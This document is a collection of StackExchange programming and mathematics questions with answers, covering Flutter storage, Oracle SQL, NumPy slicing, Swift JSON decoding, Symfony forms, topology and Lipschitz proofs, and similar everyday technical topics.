text:
Q: How to use shared prefs/file storage to store an input by the user in the controller in flutter? As above; what i am currenty trying to do is use this method to store and save data; however I am not sure how to do it with a custom String that is being provided by the said user. Also how do you refresh the controller once the input has been submitted by the said person.
Furthermore, is it possible to send this into a json file and open it each time the user opens the application so as to ensure that the data that is posted there does not get lost.
Here is the sample code:
         MaterialButton(
            child: new Text('Touch me to go on to the next option'),
                  shape: RoundedRectangleBorder(
                      borderRadius: new BorderRadius.circular(18.0),
                      side: BorderSide(color: Colors.red)
                  ),
                onPressed: () {
              setState(() {
                _text = (_control.text);
                _save(_text);
              });
                },
              )

Where _save is defined as :
_save(String text) async {

  final prefs = await SharedPreferences.getInstance();
  final key = 'my_int_key';
  final value = text;
  prefs.setString("text", value);

Is it possible to save it in such a way that the controller can be refreshed rather than throwing null errors when the MaterialButton is pressed the second time(basically redo the error) or am I allowed to create if and or statements inside a widget because I can find some but I am not sure on how to use it for this said purpose.
The load key for the above data is:
  final prefs = await SharedPreferences.getInstance();
  final key = 'my_int_key';
  final value = prefs.getString(key) ?? null;

}

And is it true that this load string can be used in any screen other than the one which I am working in?
Thanks for your patience in reading this :)


text:
Q: No documentation on how to use neo4j pipe | in foreach Does anyone know where the documentation is for the pipe operator (ie: | ) in Neo4j ? I saw this code snippet below on StackOverflow and have searched Neo4j's documentation but have yet to find it.
I'm assuming it's used as a continuation but I'd love to see the docs or get an explanation of how to use it
(game in {PSNGames} |
                MERGE p-[:PLAYS {LastPlayed : game.LastUpdated}]->(g:PSNGame {NPCOMMID : game.NPCOMMID})-[:LOCALE]->(l:PSNGameLocalized {NPCOMMID : game.NPCOMMID})
                SET g = game,
                    l = { NPCOMMID : game.NPCOMMID,
                         TitleName : game.TitleName,
                       TitleDetail : game.TitleDetail,
                            Locale : {locale}
                        })

A: You can use the pipe e.g. when constructing a collection based on another collection, aka list comprehension. E.g. extract a property from all nodes along a path:
MATCH path=(me:Person {name:'myself'})-[:KNOWS*..5]-(other)
RETURN [x in nodes(path) | x.name ]

FOREACH uses the pipe in the same way, see http://neo4j.com/docs/stable/query-foreach.html.

redpajama_set_name: RedPajamaStackExchange


text:
Q: How to use values in list from one function in a second function I am working on coding a precalculous problem.  I was able to write one function and get an (x,y) plot in a python list.  I want to be able to call list[0] and list[1] of the first function in a second function. How do I setup my functions so that I can use the outputs from the first function as inputs in the second functions?
import numpy as np
import sympy as sy

# find the point of intersection of two points by using a linear function

def intersection(slope1, yintercept1, slope2, yintercept2):
    xval = -1*slope1+slope2
    recip = np.reciprocal(xval)
    xval = yintercept1*recip
    yval = slope2*xval
    point = [xval, yval]
    return point
print(intersection((sy.Rational(-6,7)), 9, sy.Rational(7,6), 0))

#find the distance two points are apart.

def distance(x, y):

#I want to call the point from my intersection function here and put them into the distance formula
to find out how far away the point is from the origin.

print(distance(0,0))

A: Your function intersection is returning a list, so you save that into a variable, then you call the distance function with this variable that you got from intersection
import math #for numeric sqrt you import math

def distance(p):
    x=p[0]
    y=p[1]
    return math.sqrt(x**2 + y**2) # euclidian distance to (0,0)

point = intersection((sy.Rational(-6,7)), 9, sy.Rational(7,6), 0))
d = distance(point)

A: I found my problem.  I was printing my function after I was finished running it and I needed to save the value of the function into a variable.  Once I saved it to a new variable then I could use that variable in the next function.  Now I am having a problem dealing with rational numbers and taking the square root using sympy.
from numpy import reciprocal, sqrt
from sympy import Rational

'''Find the area of a right triangle by finding a point
where two perpendicular lines intersect, and by finding the distance
the point is away from the origin'''

# Enter the slope and y intercept for each of the perpendicular lines.

slope_line_one = Rational(-6,7)
y_intercept_line_one = 9
slope_line_two = Rational(7,6)
y_intercept_line_two = 0
perpendicular_lines = [slope_line_one, y_intercept_line_one, slope_line_two,
y_intercept_line_two]

# A function to find the (x,y) value where two perpendicular points intersect

def intersection(slope_one, y_intercept_one, slope_two, y_intercept_two):
    xval = -1*slope_one+slope_two
    recip = reciprocal(xval)
    xval = y_intercept_one*recip
    yval = slope_two*xval
    point = [xval, yval]
    return point
point_of_intersection = (intersection(perpendicular_lines[0], perpendicular_lines[1],
perpendicular_lines[2], perpendicular_lines[3]))
print(point_of_intersection)

# This function is to find how far away the point made by the perpendicular lines is
from the origin
origin = [0, 0]
def distance(x_two, x_one, y_two, y_one):
    xdistance = (x_two-x_one)**2
    return xdistance
length_leg_one = (distance(origin[0], point_of_intersection[0], origin[1],
point_of_intersection[1]))
print(length_leg_one)


text:
Q: Arithmetic Asian Option Pricing I keep getting the invalid procedure call or argument error on the definition of sigma2d line.
Any idea how to avoid this code error?
Private Sub CommandButton4_Click()
Application.Range("E19").value = ""

Application.Range("F19").value = ""
S0 = Application.Range("C5").value 'arithmetic average of underlying 1
K = Application.Range("C6").value 'strike
T = Application.Range("C10").value 'maturity
sigma = Application.Range("C8").value 'volatility
r = Application.Range("C8").value 'risk free rate
nsteps = Application.Range("C12").value 'no of timesteps
nsimulations = Application.Range("C13").value ' no of mc simulations
div = Application.Range("C9").value          'dividends
Randomize

Dim M1 As Double, M2 As Double, sigma2d As Double
Dim d1 As Double, d2 As Double, Nd1 As Double, Nd2 As Double

M1 = (Exp((r - div) * T) - 1) / (r - div) * T

v = (2 * Exp((2 * r) - (2 * div) + (sigma * sigma) * T)) * S0 * S0
w = (r - div + (sigma * sigma)) * (2 * r - 2 * q + (sigma * sigma)) * T * T
Z = 2 * S0 * S0 / ((r - div) * T * T)

y = (1 / 2 * (r - div) + sigma * sigma)
h = Exp((r - div) * T) / (r - div + (sigma * sigma))

M2 = (v / w) + Z * (y - h)
M3 = M1 * M1

sigma2d = Log(M2 / M3)
d1 = (Log(M1 / K) + (sigma2d * T) / 2) / sigma * Sqr(T)
d2 = d1 - sigma * Sqr(T)

callArith = Exp(-r * T) * (M1 * Nd1 - K * Nd2)
Application.Range("E19").value = Application.Max(ExactCall, 0)

A: Are you trying to do the log of a negative number?  Set a breakpoint and check variables before that line.  Maybe you have an error before that generating a negative.

A: First check the argument to the Log function is positive.
Failing that, it could be due to a missing reference in the project. This manifests itself in this curious way. Have a look at "Tools", "References" and see if there is one missing.
You can write sigma2d = Vba.Log(M2 / M3) instead but that's only really a short fix since missing references will cause you headaches elsewhere.
One more thing, why not create a function instead, passing in all the variables as function parameters? Your spreadsheet will be more stable if you do that.
(Also, at the end of your code, d1 definition is incorrect. You need brackets around sigma * Sqr(T)).

A: I think you need a pair of () or do "/T" as you are multiplying by T here:
M1 = (Exp((r - div) * T) - 1) / (r - div) * T


text:
Q: To override the key event listener in YUI2 carousel I'm using YUI 2 carousel. I want to override the "keydown" event listener with my own event listener.  If I give:
node.on('keydown', function(e){ alert("something"); });

at first the default event listener defined in carousel-min.js is executed and then my listener is executed. Is there any way to override this default execution completely in yui carousel?

A: Use preventDefault to override the default behavior:
function(e){ e.preventDefault(); alert("something"); });


text:
Q: Count comma separated values of all columns in Oracle SQL I have already went through a number of questions and I couldn't find what I am exactly looking for.
Suppose I have a table as follows :
Col1        Col2        Col3
1,2,3       2,3,4,5,1   5,6

I need to get a result as follows using a select statement:
Col1        Col2        Col3
1,2,3       2,3,4,5,1   5,6
3           5           2

Note the added third column is the count of comma separated values.
Finding the count for a single column is simple, but this seems difficult if not impossible.
Thanks in advance.

A: select
col1,
regexp_count(col1, ',') + 1 as col1count,
col2,
regexp_count(col2, ',') + 1 as col2count,
col3,
regexp_count(col3, ',') + 1 as col3count
from t

FIDDLE
FIDDLE2

A: Per Count the number of elements in a comma separated string in Oracle an easy way to do this is to count the number of commas and then add 1
You just need the result unioned onto your original data. So, do that:
SQL> with the_data (col1, col2, col3) as (
  2  select '1,2,3', '2,3,4,5,1', '5,6' from dual
  3         )
  4  select a.*
  5    from the_data a
  6   union all
  7  select to_char(regexp_count(col1, ',') + 1)
  8       , to_char(regexp_count(col2, ',') + 1)
  9       , to_char(regexp_count(col3, ',') + 1)
 10    from the_data;

COL1  COL2      COL
----- --------- ---
1,2,3 2,3,4,5,1 5,6
3     5         2

You need to convert the result to a character because you're unioning a character to a number, which Oracle will complain about.
It's worth noting that storing data in this manner violates the first normal form. This makes it far more difficult to manipulate and almost impossible to constrain to be correct. It's worth considering normalising your data model to make this, and other queries, simpler.

A:
Finding the count for a single column is simple, but this seems difficult if not impossible.

So you don't to look for each column manually? You want it dynamically.
The design is actually flawed since it violates normalization. But if you are willing to stay with it, then you could do it in PL/SQL using REGEXP_COUNT.
Something like,
SQL> CREATE TABLE t AS
  2  SELECT '1,2,3' Col1,
  3    '2,3,4,5,1' Col2,
  4    '5,6' Col3
  5  FROM dual;

Table created.

SQL>
SQL> DECLARE
  2    cnt NUMBER;
  3  BEGIN
  4    FOR i IN
  5    (SELECT column_name FROM user_tab_columns WHERE table_name='T'
  6    )
  7    LOOP
  8      EXECUTE IMMEDIATE 'select regexp_count('||i.column_name||', '','') + 1 from t' INTO cnt;
  9      dbms_output.put_line(i.column_name||' has cnt ='||cnt);
 10    END LOOP;
 11  END;
 12  /
COL3 has cnt =2
COL2 has cnt =5
COL1 has cnt =3

PL/SQL procedure successfully completed.

SQL>

Probably, there will be an XML solution in SQL itself, without using PL/SQL.
In SQL -
SQL> WITH DATA AS
  2    ( SELECT '1,2,3' Col1, '2,3,4,5,1' Col2, '5,6' Col3 FROM dual
  3    )
  4  SELECT regexp_count(col1, ',') + 1 cnt1,
  5    regexp_count(col2, ',')      + 1 cnt2,
  6    regexp_count(col3, ',')      + 1 cnt3
  7  FROM t;

      CNT1       CNT2       CNT3
---------- ---------- ----------
         3          5          2

SQL>


text:
Q: Prove that the intersection of a nested sequence of connected, compact subsets of the plane is connected
Suppose that $S_1, S_2, S_3, . . .$ is a sequence of connected, compact subsets of
  the plane and $S_1 ⊃ S_2 ⊃ . . . .$ Is $S = \bigcap Sn$ connected? Give a proof or
  counterexample.

I understand that if $S_i$ was simply closed that $S$ need not be connected.
I understand intuitively that making them compact ensures that they are connected (mostly because I realize that the cases where $S$ is disconnected when $S_i$ is simply closed does not work when $S_i$ is also bounded).
I am having a really hard time proving it though.
I am not sure how to proceed.

A: You have to suppose also that each $S_i$ is non empty.
We prove the more general :
Theorem The intersection $S$ of any decreasing sequence $(S_i)_{i\ge0}$ of nonempty compact and connected subsets of some metric space $(E,d)$ is connected.
(whose proof can be read while thinking at $E$ as beeing $\mathbb{R}^2$).
Proof Let us prove first that, for any open set $\Omega$ containing $S$, there exists an integer $i$ such that $S_i\subset\Omega$ (which implies that the inclusion is also true for any index $>i$).
Suppose the contrary ...
Then, there exists une sequence $(x_i)_{i\ge0}$ such that $x_i\in S_i-\Omega$ for all $i$.
All the $x_i$ belong to $S_0$, which is compact, and therefore we can extract a sequence $(x_{i_p})_{p\in\mathbb{N}}$ which converges to some $y\in E$.
For any $N\in\mathbb{N}$, the truncated sequence $(x_{i_p})_{p\ge N}$ has all its terms in $S_{i_N}$ thus in $S_N$. So $y\in S_N$, because $S_N$ is closed. This proves that $y\in S$.
But $E-\Omega$ is closed in $E$, and therefore $y\not\in\Omega$, a contradiction.
Now, suppose $S=(S\cap \Omega_1)\cup(S\cap\Omega_2)$, where $\Omega_1$, $\Omega_2$ are disjoint subsets of $E$, such that $S\cap\Omega_1\neq\emptyset$ and $S\cap\Omega_2\neq\emptyset$.
Put $\Omega=\Omega_1\cup\Omega_2$. We can see that $\Omega$ is an open set, which contains $S_i$ for some $i\in\mathbb{N}$. But $S_i$ beeing connected, there exists $\alpha\in\{1,2\}$ such that $S_i\cap\Omega_\alpha=\emptyset$. And so $S\cap\Omega_\alpha=\emptyset$ for the same $\alpha$. Contradiction !


text:
Q: In HTML5, how do I return the results of an SQLite call directly, rather than handing them to a function? Using SQLite in HTML5, how do I execute a call such as the following so that it's returned immediately, instead of passing off the result to another function?
try {
    mydb.transaction( function(transaction) {
        transaction.executeSql(
            'SELECT name FROM celebs order by name limit 100 ',
            [],
            function(transaction, results) {
                // would like to return the "results" back
            },
            errorHandler
        );
    });
    // code to use the "results" array
} catch(e) {
    alert(e.message);
}

A: You can't. Because JavaScript is asynchronous, it doesn't give you any way to block until a blocking operation completes.


text:
Q: Dynamically adjusting a sort network size, an easy way to increase by one Insetion sort, rewritten as a sort network produces something like this:

It sorts six items, for example using the following comparisons:
[0,1]
[1,2][0,1]
[2,3][1,2][0,1]
[3,4][2,3][1,2][0,1]
[4,5][3,4][2,3][1,2][0,1]

Now lets say I have a seventh value I want sorted. The modification is trivial, adding another set/line of comparisons...
[5,6][4,5][3,4][2,3][1,2][0,1]

Other sorts such as bitonic require more complex modifications, particularly in that additions need to be made all over the place to previous lines.
My question is this: Are there any other sorts, like insertion, that allow easy one-line additions to support extra items in the search? I'm particularly interested in the lower computational complexity sorts like bitonic.


text:
Q: fgetcsv не могу получить результаты из первого столбца Я хочу получать значения из столбцов по заголовку столбца. У меня получается получить любое, кроме первого. Почему так? Выдает ошибку

Notice: Undefined index: ZIP

$file_name="http://www.omniva.ee/locations.csv";

$fp = fopen($file_name, 'r');

$head = fgetcsv($fp, 4096, ';', '"');

while($column = fgetcsv($fp, 4096, ';', '"'))
{
    $column = array_combine($head, $column);
    echo $column['ZIP']; // не получаю
    echo $column['NAME']; // получаю

}

A: Все просто. В самом начале файла есть два "левых байта". это так называемый BOM. Есть много способов их удалить, но думаю, что в Вашем случае подойдет самое простое решение
$file_name="http://www.omniva.ee/locations.csv";

$fp = fopen($file_name, 'r');

$head = fgetcsv($fp, 4096, ';', '"');
$head[0] = 'ZIP'; # это фикс!
while($column = fgetcsv($fp, 4096, ';', '"'))
{
    $column = array_combine($head, $column);
    echo $column['ZIP']; // не получаю
    echo $column['NAME']; // получаю

}

BTW, поле zip есть, только выглядит так <U+FEFF>ZIP.

A: working version

$file_name="http://www.omniva.ee/locations.csv";

$fp = fopen($file_name, 'r');

$head = fgetcsv($fp, 4096, ';', '"');
$head[0] = 'ZIP'; # это фикс!
while($column = fgetcsv($fp, 4096, ';', '"'))
{
    $column = array_combine($head, $column);
    echo $column['ZIP']; // не получаю
    echo $column['NAME']; // получаю

}

?>


text:
Q: MVC 3 Remote validation: how to debug? Folks,
I'm doing remote validation in an ASP.NET MVC 3 context.  Sometimes it doesn't work at first.  The page just sits there after a submit attempt as if validation has failed, but there are no messages and the remote validation routines are never hit on the server.
I have at various times figured out various reasons for this -- parameters specified in the wrong order in the attribute constructor, input fields on the form given the wrong names -- but sometimes I'm stumped for long periods.
Are there any tools or techniques that would make this easier?  Some way to peer into the ajax call results or validation mechanism to tell what error is being thrown (and silently consumed) by what?
Thanks.

A: Fiddler is your your friend.  Other friends include Firebug and Debugging consoles of your browsers (typically F12)


text:
Q: Is slicing a dangerous operation in Python? I am reading the Ndarray documentation in Python and it has the following example.

A 2-dimensional array of size 2 x 3, composed of 4-byte integer
  elements:
>>> x = np.array([[1, 2, 3], [4, 5, 6]], np.int32)
>>> type(x)
<type 'numpy.ndarray'>
>>> x.shape
(2, 3)
>>> x.dtype
dtype('int32')

The array can be indexed using Python container-like syntax:
>>> # The element of x in the *second* row, *third* column, namely, 6.
>>> x[1, 2]

For example slicing can produce views of the array:
>>> y = x[:,1]
>>> y
array([2, 5])
>>> y[0] = 9 # this also changes the corresponding element in x
>>> y
array([9, 5])
>>> x
array([[1, 9, 3],
       [4, 5, 6]])

I have a MATLAB background, and when we do y = x[:, 1], y becomes a distinct 2x1 matrix, after which changing any element of y produces no change in the original matrix x. However, it seems that in Python changing the elements of y does alter the original array x.
Can someone comment on whether this operation should be avoided? Because I don't want to accidentally change my original data by operating on some parts of the data.

A: This is absolutely the correct behaviour for Python. One of the greatest benefits of the language is that everything is passed as a reference rather than values. If you really want to create a new matrix from the slice, consider the .copy method.

A: A slice in a numpy array is a view of the object (unlike a slice in a list which will return a new object), which means the values you get back are a reference to the original array. Quoted from the article Views versus copies in NumPy, emphasis mine:

What is a view of a NumPy array?
As its name is saying, it is simply another way of viewing the data of the array. Technically, that means that the data of both objects is shared. You can create views by selecting a slice of the original array, or also by changing the dtype (or a combination of both). These different kinds of views are described below.
Slice views
This is probably the most common source of view creations in !NumPy.
  The rule of thumb for creating a slice view is that the viewed
  elements can be addressed with offsets, strides, and counts in the
  original array. For example:
>>> a = numpy.arange(10)
>>> a
array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
>>> v1 = a[1:2]
>>> v1
array([1])
>>> a[1] = 2
>>> v1
array([2])

When you use a slice because you want to look at part of the data or apply operations on them which are not done in-place, it's completely safe. If you expect to modify the data in-place, then you want to create a new copy of the elements with np.copy()
>>> a = np.array([1, 5, 3, 7, 2, 3, 1, 8, 5])
>>> b = a[1:5]
>>> b
array([5, 3, 7, 2])
>>> # this will create a new array and sort it
>>> np.sort(b)
array([2, 3, 5, 7])
>>> b
array([5, 3, 7, 2])
>>> # this is done in-place, which means it will also affect `a`
>>> b.sort()
>>> a
array([1, 2, 3, 5, 7, 3, 1, 8, 5])


text:
Q: Adding all jars from a Nexus repo to Leiningen dependencies list I want to add all jars from the local Nexus repo to a Leiningen :dependencies list. I've added the Nexus repo to the :repositories list in project.clj. Is there any way to add all jars to :dependencies, instead of specifying them one by one?
Thanks!

A: pom to project
"Java project's lib folder contains lots of jars"
Does this Java project fetch these jars directly from nexus repo (e.g. via pom.xml), because it should.
And if it does, and you just don't want to manually craft project.clj with all these dependencies, you can use something like lein-nevam to convert it to project.clj to start you off.
less dependency, more independency
Does the Clojure library really need all these Java project's dependencies though? Or just a subset of them? As I mentioned in comments, it is always best to narrow down the number of dependencies due to many reasons: code collision, transitive dependencies, version management, compatibility, etc.. rather thаn to "just include them all"

A: In order to use Nexus you just have to configure Leiningen to use Nexus as the repository. Then  you can specify all your dependencies as usual but they will be retrieved from Nexus. This can include components from Central, clojars and any other repo you want to add to the public group.
More details are in the Nexus book chapter about tool config and especially the Leiningen section.
If you then specifiy the dependencies you need in your library (and only those) and publish to Nexus with a pom that specifies these any Java project that uses Maven or Gradle or whatever to build can consume your library and will also get the correct transitive dependencies. Same is if your code was e.g., created with Maven and written in Java.


text:
Q: Lengthening Thermistor Leads with Different Gauge Wire I have a NTC thermistor with 30 AWG leads (TDK B57703M series) and wanted to lengthen these. Would it work correctly if I soldered 26 AWG wire to the leads? I know different gauges can mess with resistances and attenuation, so I wanted to confirm if this would be ok or not.

A: Extending the leads with almost the same wire gauge would be fine. That part number offers only a 10K or 30K (at room temperature, or 25 deg C) option. The wires resistance is too small to be a factor here, unless it has to run several feet or more. Even then the main issue would be noise pickup, so you would need to use shielded cable and RCL filters before you send the signal to an op-amp for amplification and scaling. These thermistors do not respond to temperature changes quickly, so a low-pass filter of 10HZ would be fine.


text:
Q: XSL transform with namespace This is my source XML
Source XML
I'm trying to extract value of  "StatusCode"
This is my XSL transform:
XSL
Without Namespace its working fine.
I have declared all of the namespaces.
Do I need to declare any additional ones?

A: The CreateResponse element and all of its descendants are in the namespace http://exacttarget.com/wsdl/partnerAPI.
You need to declare this namespace in your XSLT and bind it to a prefix. You can then use that prefix in your XPath.
For example...
Bind http://exacttarget.com/wsdl/partnerAPI to prefix papi:
xmlns:papi="http://exacttarget.com/wsdl/partnerAPI"

Use the prefix:
<xsl:value-of
    select="soap:Envelope/soap:Body/papi:CreateResponse/papi:Results/papi:StatusCode"/>

Also, like Martin Zabel mentioned in the comments, please add your XML and XSLT to the question itself instead of linking images. This will help future visitors by ensuring the complete context of the question is always available.


text:
Q: Create array of Json Data Items I have a very long Json array that is full of items that look like this:
[
  {
    "id": "sm10-1",
    "name": "Pheromosa & Buzzwole-GX",
    "imageUrl": "https://images.pokemontcg.io/sm10/1.png",
    "subtype": "TAG TEAM",
    "supertype": "Pokémon",
    "hp": "260",
    "retreatCost": [
      "Colorless",
      "Colorless"
    ],
    "convertedRetreatCost": 2,
    "number": "1",
    "artist": "Mitsuhiro Arita",
    "rarity": "Rare Holo GX",
    "series": "Sun & Moon",
    "set": "Unbroken Bonds",
    "setCode": "sm10",
    "text": [
      "When your TAG TEAM is knocked out, your opponent takes 3 Prize Cards."
    ],
    "types": [
      "Grass"
    ],
    "attacks": [
      {
        "name": "Jet Punch",
        "cost": [
          "Grass"
        ],
        "convertedEnergyCost": 1,
        "damage": "30",
        "text": "This attack does 30 damage to 1 of your opponent's Benched Pokémon. (Don't apply Weakness and Resistance for Benched Pokémon.)"
      },
      {
        "name": "Elegant Sole",
        "cost": [
          "Grass",
          "Grass",
          "Colorless"
        ],
        "convertedEnergyCost": 3,
        "damage": "190",
        "text": "During your next turn, this Pokémon's Elegant Sole attack's base damage is 60."
      },
      {
        "name": "Beast Game-GX",
        "cost": [
          "Grass"
        ],
        "convertedEnergyCost": 1,
        "damage": "50",
        "text": "If your opponent's Pokémon is Knocked Out by damage from this attack, take 1 more Prize card. If this Pokémon has at least 7 extra Energy attached to it (in addition to this attack's cost), take 3 more Prize cards instead. (You can't use more than 1 GX attack in a game.)"
      }
    ],
    "weaknesses": [
      {
        "type": "Fire",
        "value": "×2"
      }
    ],
    "imageUrlHiRes": "https://images.pokemontcg.io/sm10/1_hires.png",
    "nationalPokedexNumber": 794
  }
]

That is just one item of hundreds in the array. What I want to do is grab specific values from each item (i.e. name, imageUrl, supertype, hp, rarity, set) and send them to a struct which will then be added to an array of such structs.
What I currently have prints just prints out all of the json data and I can not figure out how to get individual data and create an array of structs for each individual card.
Here is the code I have currently:
//[TEST] READING JSON FILE LOCALLY
struct card: Decodable {
    let name: String
    let imageUrl: String
    let supertype: String
    let artist: String
    let rarity: String
    let set: String
    let types: Array<String>
}

func loadJsonInfo() {
    do{
        let data = try Data.init(contentsOf: URL.init(fileURLWithPath: Bundle.main.path(forResource: "Unbroken Bonds", ofType: "json")!))
        let json = try JSONSerialization.jsonObject(with: data, options: .allowFragments)
        print(json)
    } catch {
        print(error)
    }
}

Also, the json file is locally stored in my appData. Thanks in advance for your help!

A: Give a try to https://quicktype.io/
You put json there. And get all necessary data structures to decode json

A: To decode a JSON with Decodable type, you need to use JSONDecoder's decode(_:from:) method.
Update your loadJsonInfo() method to,
func loadJsonInfo() {
    if let file = Bundle.main.url(forResource: "Unbroken Bonds", withExtension: "json") {
        do {
            let data = try Data(contentsOf: file)
            let arr = try JSONDecoder().decode([Card].self, from: data)
            print(arr)
        } catch {
            print(error)
        }
    }
}

Note: Use first letter capital while creating a type, i.e. use Card instead of card.

A: Parsing Code when you have DATA from server. I also removed force unwrapped ! so it won't crash in absence of file
func loadJsonInfo() {
    if let path = Bundle.main.path(forResource: "Unbroken Bonds", ofType: "json") {
        do {
            let data = try Data(contentsOf: URL(fileURLWithPath: path), options: .alwaysMapped)
            let result = try JSONDecoder().decode(ResultElement.self, from: data)
        } catch let error {
            print(error)
        }
    }
}

Your Model
import Foundation

// MARK: - ResultElement
struct ResultElement: Codable {
    let id, name: String?
    let imageURL: String?
    let subtype, supertype, hp: String?
    let retreatCost: [String]?
    let convertedRetreatCost: Int?
    let number, artist, rarity, series: String?
    let resultSet, setCode: String?
    let text, types: [String]?
    let attacks: [Attack]?
    let weaknesses: [Weakness]?
    let imageURLHiRes: String?
    let nationalPokedexNumber: Int?

    enum CodingKeys: String, CodingKey {
        case id, name
        case imageURL = "imageUrl"
        case subtype, supertype, hp, retreatCost, convertedRetreatCost, number, artist, rarity, series
        case resultSet = "set"
        case setCode, text, types, attacks, weaknesses
        case imageURLHiRes = "imageUrlHiRes"
        case nationalPokedexNumber
    }
}

// MARK: - Attack
struct Attack: Codable {
    let name: String?
    let cost: [String]?
    let convertedEnergyCost: Int?
    let damage, text: String?
}

// MARK: - Weakness
struct Weakness: Codable {
    let type, value: String?
}

typealias Result = [ResultElement]


text:
Q: Getting follower count of Instagram profiles in 2023? Is there an official way to get the amount of followers of different Instagram profiles via the API and PHP?
I've read that Facebook closed this endpoint because of Cambridge Analytica. Is it true that the only way to get this data is to scrape the profile?
The Instagram Graph API Business Discovery is just for business and creator accounts? So this endpoint couldn't deliver private profile followers?


text:
Q: How to set a class attribute to a Symfony form input with an attribut from entity linked I have in my form a "beds" attribute, an entity linked to another "bedroom".
I would like for each input to add a class with the id of the linked entity "bedroom".
$form->add('beds', EntityType::class, array(
    'class' => 'DamiasResaBundle:Bed',
    'query_builder' => function (EntityRepository $er) {
        return $er->createQueryBuilder('b')
                  ->orderBy('b.id', 'ASC');
    },
    'choice_label' => 'id',
    'label' => 'lits ',
    'multiple' => true,
    'expanded' =>true,
    'attr' => array(
        'class' => function ($bed) {
            return $bed->getBedroom()->getId();
        }
     ),
 ))

I have two problems:

*

*'attr' => array('class'=>'test) return a class attribut in the div  containing the input, not a class attribut in the input.

*This previous code does not work and returns:

An exception has been thrown during the rendering of a template ("Catchable Fatal Error: Object of class Closure could not be converted to string") in form_div_layout.html.twig at line 358.

Thank you for your help

A: I see you are using checkboxes.
Your code seems ok, and since you use query_builder, the values should be a Bed Entity. Note that attr is not mentioned in the EntityType documentation, and I think you need to use choice_attr instead.
Can you try this. I'm not sure if it will work or not:
$form->add('beds', EntityType::class, array(
    'class' => 'DamiasResaBundle:Bed',
    'query_builder' => function (EntityRepository $er) {
        return $er->createQueryBuilder('b')
                    ->orderBy('b.id', 'ASC');
    },
    'choice_label' => 'id',
    'label' => 'lits ',
    'multiple' => true,
    'expanded' =>true,
    'choice_attr' => function ($val) {
            return ['class' => $val->getId()];
    },
))

Let us know the results.

A: *

*You need to customize form rendering

*Previous code doesn't work because you're trying to pass Closure object instead of string value. attr array is used as field attributes, so it must contain only string values (or objects with __toString() method).

A: For EntityType it would rather look like this:
$form->add('beds', EntityType::class, array(
    'class' => 'DamiasResaBundle:Bed',
    'query_builder' => function (EntityRepository $er) {
        return $er->createQueryBuilder('b')
                    ->orderBy('b.id', 'ASC');
    },
    'choice_label' => 'id',
    'label' => 'lits ',
    'multiple' => true,
    'expanded' =>true,
    'choice_attr' => function (Bed $bed, $key, $index) {
            return ['class' => $bed->getBedroom()->getId();];
    },
))

A: Since choice_attr seems not to be working anymore, I am writing another solution. I wasn't able to set attribute (exactly "min") directly from formBuilder. I managed to add it with help of js. I simply searched element by ID given by formBuilder and added atribute.
Inspect your form in browser element inspector and find id.

   <input type="date" id="form_deadLine_date" name="form[deadLine][date]" required="required" value="2020-02-20"/>

Id you wanna look for in my case is form_deadLine_date.
Then you wanna connect .js file to you twig template and write there simple script.
const form = document.getElementById('form_deadLine_date');
if(form){
    form.setAttribute("min", "2020-01-02")
}

then my code looks like:

   <input type="date" id="form_deadLine_date" name="form[deadLine][date]" required="required" value="2020-02-20"/>


text:
Q: NoMethodError raised following Railscast #250 I'm following the 'Authentication from scratch' railscast but cannot get it to work.
Controller:
class UsersController < ApplicationController
    def new
        @user = User.new
    end

    def create
        @user = User.new(params[:user])
        if @user.save
            redirect_to products_path, notice: 'User created successfully'
        else
            render 'new'
        end
    end
end

Model:
class User < ActiveRecord::Base
  has_secure_password

  attr_accessible :email, :password, :password_confirmation

  validates_uniqueness_of :email
end

users#new form:

Sign up form

<%= form_for @user do |f| %>

    <%= f.label :email %>
    <%= f.text_field :email %>

    <%= f.label :password %>
    <%= f.password_field :password %>

    <%= f.label :password_confirmation %>
    <%= f.password_field :password_confirmation %>

    <%= f.submit %>

<% end %>

When I try to go to the new user form it throws up a NoMethodError - undefined method 'email' referring to the line that has 'f.text_field :email'.
What am I missing here?
Thanks any help appreciated.

A: Your users table does not have an email column. Please run a migration to add the column to your users table.


text:
Q: I need help with prove "If the partial derivatives are bounded then the function is Lipschitz". Can anyone help me to prove the next statements?

*

*Let $f:\mathbb R^n$$\to$$\mathbb R$ such that the partial derivatives $\frac{\partial f}{\partial x_{i}}$ exists at each point and $E$ $\subseteq$ $\mathbb R^n$. So, if the partial derivatives are bounded in $E$, then $f$ Satisfies the Lipschitz condition:
$|f(x)-f(y)|$$\le$$M|x-y|$

*Let $E$ $\subseteq$ $\mathbb R^n$ open subset and $f: E$$\to$$\mathbb R$ Differentiability and Continuous then $f$ Satisfies the **Lipschitz condition*
Thank you.

A: It's not true, without further assumption on the set $E$ - for example, if $E=\{x,y\}$ contains exactly two points there is no way to obtain a Lipschitz bound from knowledge of the gradient of the function at just those two points.
On the other hand, if $E$ is path-connected then you can prove the result by picking a path from $x$ to $y$ and integrating the gradient of $f$ along this path, using the triangle inequality for integrals to get the Lipschitz bound. To be more precise, you will need to know that the length of the path is bounded by a multiple of the distance from $x$ to $y$, which can be arranged as long as $E$ is not too pathological. For instance, if $E$ is convex you can just pick the straight line path.


text:
Q: Importing Spark libraries using Intellij IDEA I would like to use spark SQL in an Intellij IDEA SBT project.
Even though I have imported the library the code does not seem to import it.
Spark Core seems to be working however.

A: You can't create a DataFrame from a scala List[A]. You need first to create an RDD[A], and then transform that to a DataFrame. You also need an SQLContext:
val conf = new SparkConf()
  .setMaster("local[*]")
  .setAppName("test")

val sc = new SparkContext(conf)
val sqlContext = new SQLContext(sc)

import sqlContext.implicits._

val test = sc.parallelize(List(1,2,3,4)).toDF

A: For reference this is how the Spark 2.0 boilerplate with spark sql should look like:
 import org.apache.spark.sql.SparkSession

 object Test {
 def main(args: Array[String]) {

    val spark = SparkSession.builder()
      .master("local")
      .appName("some name")
      .getOrCreate()

    import spark.sqlContext.implicits._

    }
}


text:
Q: How can I view the names of the layers of a model in TensorFlow Object Detection API? I would like to get the names of the different layers in a model in TensorFlow Object Detection API like a mobilenetv2 for example. The reason I want this is to modify feature_map_layout in feature_extractor.py. Without the names of the layers, I am not able to do that.
Thank you.


text:
Q: Extract columns from row values in Python I am using this dataframe:
dfPredET.head(5)

id  Class
1   Class_2
2   Class_1
3   Class_6
4   Class_2
5   Class_1

and I would like to transforms it indicating if one instance belongs to a class (1) or not (0):
id  Class_1 Class_2 Class_3 Class_4 Class_5 Class_6 Class_7 Class_8 Class_9
1   0   1   0   0   0   0   0   0   0
